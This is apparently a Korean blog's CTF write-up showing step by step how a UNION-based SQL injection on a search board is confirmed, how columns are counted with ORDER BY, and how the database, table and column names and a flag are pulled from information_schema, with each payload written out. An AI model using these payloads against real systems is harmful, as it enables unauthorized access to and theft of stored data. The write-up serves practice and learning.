DB 데이터 추출 1 문제
게시판 형태의 CTF이다.
여기서 SQL Step을 한번 밟아보자.
(1) 추측
Adminer가 포함하고 있는 알파벳 중 min을 쳤을 때 과연 Adminer가 출력될까?
출력된다.
min을 포함하고 있는 데이터가 출력되는 것을 확인했다
이로써 =이 아니라 문자열 포함 데이터를 출력해주는 like절 구문을 사용하고 있을 것이라 생각할 수 있다
select "" from "" where id like '%@@@%' 의 형태를 가지리란 것을 추측할 수 있다.
(2) 취약점 확인
mario%'# 라고 입력했는데 mario가 출력되는 걸로 보아 SQL Injection 공격이 먹히고 있는 것을 알 수 있다.
확인차
mario%' and '1%'='1 이라고 입력했을 때도 mario가 잘 뜨는 것을 볼 수 있다.
특수문자는 다 안보는 거 아냐? 라는 의구심을 거두기 위해
끝을 2로 바꿔주면 검색이 되지 않는다. 이로써 더더욱 확실해졌다.
(3) 컬럼 갯수 파악 order by
다음은 order by 절을 이용해서 컬럼의 갯수를 파악하는 과정이다.
여태까지 추측한 sql 구문은
select '' from ''
where id like '%@@@%'
이다.
여기에 뒤에 order by [인덱스 번호]를 추가시키면 출력되는 컬럼의 인덱스 번호 열에서 정렬되는데,
끝 인덱스 번호보다 더 큰 인덱스가 쓰여있으면 에러가 난다.
이를 역이용해서
1부터 숫자를 점점 증가시켜보면서 컬럼의 갯수를 맞춰나가는 것이다.
가령, mario%' order by 4 # 이라고 입력하면 잘 출력되던 데이터가
mario%' order by 5 # 이라고 입력하면 출력되지 않는다는 것을 볼 수 있다.
이는 id 데이터베이스의 총 컬럼수가 4개라는 것을 의미한다.
(4) 데이터 출력 위치 파악
이번 상황은 해당되지 않지만, 화면에 보이는 부분과 실제 데이터베이스가 차이가 있을 수 있다.
존재하지만 안보일 수가 있다는 뜻이다.
확인을 위해서 union 구문과 select '1','2','3','4 를 합쳐서 사용한다.
mario%' union select '1','2','3','4 를 입력해보자.
!!!!
입력한 숫자가 각 컬럼마다 기입되어 출력이 되고 있다.
심지어 Rate 컬럼에서 4라고만 입력했는데 4%라고 입력되는 것으로 보아 추측한 SQL 구문이 맞았다는 것을 한번더 상기할 수 있다.
(5) Database 이름 확인
이제 숫자 대신 원하는 함수를 기입하면 그 결과를 화면에 출력해서 볼 수 있을 것이다.
사용구문은 select database(); 이다.
mario%' union select '1',database(),'3','4
를 입력해보면 잘 출력되었다. 출력결과는 노출될 수 있으므로 모자이크 처리했다.
(6) 테이블 이름 얻기
DB에는 기본적으로 DB를 관리하기 위한 또다른 DB가 존재하는데, 그 중 하나가 바로 information_schema이다.
그 테이블을 역이용한다.
mario%' union select '1',table_name,'3','4' from information_schema.tables where table_schema = '아까 구한 DB이름' #
총 결과가 두 개 출력되었다.
flag 결과는 아마 flag_table에 있을거라는 직감이 든다.
(7) 컬럼 이름 얻기
mario%' union select '1',column_name,'3','4' from information_schema.columns where table_name='아까 얻은 테이블 이름' #
이제 컬럼 이름 까지 획득했다!
(8) 데이터 추출
mario%' union select '1',아까 얻은 컬럼 이름,'3','4' from 아까 얻은 테이블 이름 #
플래그가 떴다!
'해킹 > 해킹 기법' 카테고리의 다른 글
해킹 기법 - 유튜브 해킹 전략 (0) | 2023.05.02 |
---|---|
로그인 우회 CTF 풀이 # 3 (0) | 2023.04.26 |
로그인 우회 CTF 풀이 #4 (0) | 2023.04.23 |
[2주차] 미스테이크 문제 풀이 CTF (0) | 2023.04.09 |
[2주차] 미스터 브루트 문제 풀이 CTF (0) | 2023.04.08 |